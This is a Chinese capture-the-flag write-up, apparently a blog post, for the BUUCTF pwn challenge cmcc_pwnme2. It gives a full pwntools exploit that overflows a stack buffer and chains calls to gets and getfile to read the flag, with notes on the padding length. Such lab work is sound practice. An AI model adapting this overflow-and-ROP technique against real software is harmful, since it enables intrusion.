[BUUCTF]-PWN:cmcc_pwnme2解析

保护

ida

完整exp:

from pwn import*
context(log_level='debug')
#p=remote('node5.buuoj.cn',26964)
p=process('./pwnme2')
addhome=0x8048644
addflag=0x8048682
getfile=0x80485CB
main=0x80486F8
pop_ebp=0x8048680
ret=0x80483f2
pop_ebx=0x8048409
pop_edi_ebp=0x804867f
strings=0x804A060
gets=0x8048440

payload=b'a'*(0x6c+4)+p32(gets)+p32(getfile)+p32(strings)
p.sendlineafter(b'Please input:',payload)
p.sendline(b'flag')
p.interactive()

补充点1:为啥填充0x6c+4而不是0x88+4?动态调试可以知道ebp+4那个地方存了一个指针,在后续跳转中会用到,即使在那个地方填上地址,依然会报错,所以只能用strcpy来覆盖返回地址。

补充点2:这道题应该不能用原本的解法来解了,因为原本题目里的是flag1,所以只能自己手动输入flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值